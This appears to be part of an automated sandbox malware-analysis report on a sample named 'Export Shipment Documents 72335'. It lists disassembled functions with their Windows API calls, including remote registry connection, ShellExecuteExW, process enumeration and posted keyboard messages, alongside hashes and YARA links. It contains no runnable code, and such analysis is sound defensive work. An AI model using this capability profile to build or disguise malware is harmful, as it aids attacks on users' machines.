                                                                                                                                                                                                          • API ID: MetricsSystem
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 4116985748-0
                                                                                                                                                                                                          • Opcode ID: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                                                                                                                                                          • Instruction ID: 1e23dbab6d9439f1299be2c39bdf7de0481ead398f869a6d5eaf0ea33fa99bdf
                                                                                                                                                                                                          • Opcode Fuzzy Hash: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8EA19C70608701DBE314CF68C984B6BBBE1FB88704F14491EFA8593251E778F965CB5A
                                                                                                                                                                                                          Function 0046AB70 Relevance: 10.8, APIs: 7, Instructions: 260registryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AC62
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ConnectRegistry_wcslen
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 535477410-0
                                                                                                                                                                                                          • Opcode ID: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                                                                                                                                          • Instruction ID: 71109d01e6e71572d3d886d5d9f1e4ab699fb1be984f768d753da2f0a00da466
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                                                                                                                                          • Instruction Fuzzy Hash: BBA18EB1204300AFC710EF65C885B1BB7E4BF85704F14896EF685AB292D779E905CB9B
                                                                                                                                                                                                          Function 0045377F Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                          • _memset.LIBCMT ref: 004538C4
                                                                                                                                                                                                          • GetMenuItemInfoW.USER32(?,?), ref: 004538EF
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00453960
                                                                                                                                                                                                          • SetMenuItemInfoW.USER32(00000011,?,00000000,?), ref: 004539C4
                                                                                                                                                                                                          • SetMenuDefaultItem.USER32(?,000000FF,00000000,?,?), ref: 004539E0
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ItemMenu$Info_wcslen$Default_memset_wcscpy
                                                                                                                                                                                                          • String ID: 0
                                                                                                                                                                                                          • API String ID: 3530711334-4108050209
                                                                                                                                                                                                          • Opcode ID: c8c2b72c749714a23e45c10816ef9459d7fe91b5f095051f547869ed1843acb9
                                                                                                                                                                                                          • Instruction ID: 97d09e0af2b4d046480d7fb626e7fa0667c22e7462995616ff61acde959b3bac
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c8c2b72c749714a23e45c10816ef9459d7fe91b5f095051f547869ed1843acb9
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 747118F15083015AD714DF65C881B6BB7E4EB98396F04491FFD8082292D7BCDA4CC7AA
                                                                                                                                                                                                          Function 0047395A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32(?), ref: 00473A00
                                                                                                                                                                                                          • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00473A0E
                                                                                                                                                                                                          • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00473A34
                                                                                                                                                                                                          • CloseHandle.KERNEL32(00000000,00000000,?,00000028), ref: 00473C01
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Process$CloseCountersCurrentHandleOpen
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 3488606520-2761332787
                                                                                                                                                                                                          • Opcode ID: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                                                                                                                          • Instruction ID: 2161edc7e7eefe464b48455ffcea7dd3157e2cbe85e131cccd8837112284b0a3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3581BF71A043019FD320EF69C882B5BF7E4AF84744F108C2EF598AB392D675E945CB96
                                                                                                                                                                                                          Function 004472C8 Relevance: 10.7, APIs: 7, Instructions: 207COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                                            • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                                            • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                                          • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                                                                                                                                          • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                                                                                                                                          • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                                                                                                                                          • LineTo.GDI32(?,?), ref: 004474BF
                                                                                                                                                                                                          • CloseFigure.GDI32(?), ref: 004474C6
                                                                                                                                                                                                          • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                                                                                                                                          • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 4082120231-0
                                                                                                                                                                                                          • Opcode ID: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                                                                                                                          • Instruction ID: e2e17d079c8faeb919f1a119f9aa9df975eabc7d00289576b12f70c1741c819b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                                                                                                                          • Instruction Fuzzy Hash: BC713AB11083419FD300DF15C884E6BBBE9EFC9708F148A1EF99497351D778A906CBAA
                                                                                                                                                                                                          Function 00447303 Relevance: 10.7, APIs: 7, Instructions: 192COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                                            • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                                            • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                                          • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                                                                                                                                          • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                                                                                                                                          • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                                                                                                                                          • LineTo.GDI32(?,?), ref: 004474BF
                                                                                                                                                                                                          • CloseFigure.GDI32(?), ref: 004474C6
                                                                                                                                                                                                          • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                                                                                                                                          • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 4082120231-0
                                                                                                                                                                                                          • Opcode ID: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                                                                                                                                          • Instruction ID: 71053adf7dd607ae91079c2ca5de7ffea4483cc305881a9741cc2e8bc8d6f2cf
                                                                                                                                                                                                          • Opcode Fuzzy Hash: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 55613BB51083419FD300DF55CC84E6BBBE9EBC9308F148A1EF99597351D738A906CB6A
                                                                                                                                                                                                          Function 0044733D Relevance: 10.7, APIs: 7, Instructions: 177COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AngleCloseEllipseFigureLineMovePixelRectangle
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 288456094-0
                                                                                                                                                                                                          • Opcode ID: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                                                                                                                                          • Instruction ID: d3db7697bfba14f4a3ad6627a8a5faa1010559558ae5e3f89cc6b0bd66950af4
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 90514BB51082419FD300DF15CC84E6BBBE9EFC9308F14891EF99497351D734A906CB6A
                                                                                                                                                                                                          Function 0044496C Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetParent.USER32(?), ref: 004449B0
                                                                                                                                                                                                          • GetKeyboardState.USER32(?), ref: 004449C3
                                                                                                                                                                                                          • SetKeyboardState.USER32(?), ref: 00444A0F
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000101,00000010,?), ref: 00444A3F
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000101,00000011,?), ref: 00444A60
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000101,00000012,?), ref: 00444AAC
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00444AD1
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 87235514-0
                                                                                                                                                                                                          • Opcode ID: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                                                                                                                          • Instruction ID: 19c159416ad4887e81d4090d30fbb5c505c675cee05c330e2fd8e115592bd25d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B651C5A05487D139F7369234884ABA7BFD55F8A304F08CA4EF1E5156C3D2ECE984C769
                                                                                                                                                                                                          Function 00444B65 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetParent.USER32(?), ref: 00444BA9
                                                                                                                                                                                                          • GetKeyboardState.USER32(?), ref: 00444BBC
                                                                                                                                                                                                          • SetKeyboardState.USER32(?), ref: 00444C08
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000100,00000010,?), ref: 00444C35
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000100,00000011,?), ref: 00444C53
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000100,00000012,?), ref: 00444C9C
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00444CBE
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 87235514-0
                                                                                                                                                                                                          • Opcode ID: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                                                                                                                          • Instruction ID: 4493abccadab05ae7d00f733e1fa63583af0c494729619d74f1516a50adc8d80
                                                                                                                                                                                                          • Opcode Fuzzy Hash: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                                                                                                                          • Instruction Fuzzy Hash: A951E4F05097D139F7369364884ABA7BFE46F8A304F088A4EF1D5065C2D2ACE984C769
                                                                                                                                                                                                          Function 004498BD Relevance: 10.7, APIs: 7, Instructions: 159COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                          • Opcode ID: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                                                                                                                                          • Instruction ID: b3b3da583a0ae8cfa3180eda0e634cae40a493ebdfd517dbec9d2fd4fbd82cb1
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1E513A315082909FE321CF14DC89FABBB64FB46320F18456FF895AB2D1D7649C06D7AA
                                                                                                                                                                                                          Function 0046A98D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 158registryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AA77
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ConnectRegistry_wcslen
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 535477410-2761332787
                                                                                                                                                                                                          • Opcode ID: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                                                                                                                                          • Instruction ID: 7b41397762752e7dec08e47bcdb2cb2f58790b6f4670524580eb9da3090621e6
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                                                                                                                                          • Instruction Fuzzy Hash: A2516D71208301AFD304EF65C981F5BB7A9BFC4704F40892EF685A7291D678E905CB6B
                                                                                                                                                                                                          Function 00457C08 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 00457C34
                                                                                                                                                                                                          • _memset.LIBCMT ref: 00457CE8
                                                                                                                                                                                                          • ShellExecuteExW.SHELL32(?), ref: 00457D34
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                          • CloseHandle.KERNEL32(?), ref: 00457DDD
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _memset$CloseExecuteHandleShell_wcscpy_wcslen
                                                                                                                                                                                                          • String ID: <$@
                                                                                                                                                                                                          • API String ID: 1325244542-1426351568
                                                                                                                                                                                                          • Opcode ID: bce0cc86945754dfb230170ecd4c21a915d6526e7c9b1e7fd723952314da78dd
                                                                                                                                                                                                          • Instruction ID: 09e461bdfc47c8bdd671eddb31188d347eda7c51057725e13e77015b5001baed
                                                                                                                                                                                                          • Opcode Fuzzy Hash: bce0cc86945754dfb230170ecd4c21a915d6526e7c9b1e7fd723952314da78dd
                                                                                                                                                                                                          • Instruction Fuzzy Hash: EA510FB55083009FC710EF61D985A5BB7E4AF84709F00492EFD44AB392DB39ED48CB9A
                                                                                                                                                                                                          Function 0047375F Relevance: 10.6, APIs: 7, Instructions: 150processCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • CreateToolhelp32Snapshot.KERNEL32(?,?,?,?,?,?,?,?,?,00000002,00000000,00000014), ref: 0047379B
                                                                                                                                                                                                          • Process32FirstW.KERNEL32(00000000,?), ref: 004737A8
                                                                                                                                                                                                          • __wsplitpath.LIBCMT ref: 004737E1
                                                                                                                                                                                                            • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 004737F6
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 00473818
                                                                                                                                                                                                          • Process32NextW.KERNEL32(00000000,?), ref: 00473844
                                                                                                                                                                                                          • CloseHandle.KERNEL32(00000000,00000000,?,?), ref: 00473852
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2547909840-0
                                                                                                                                                                                                          • Opcode ID: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
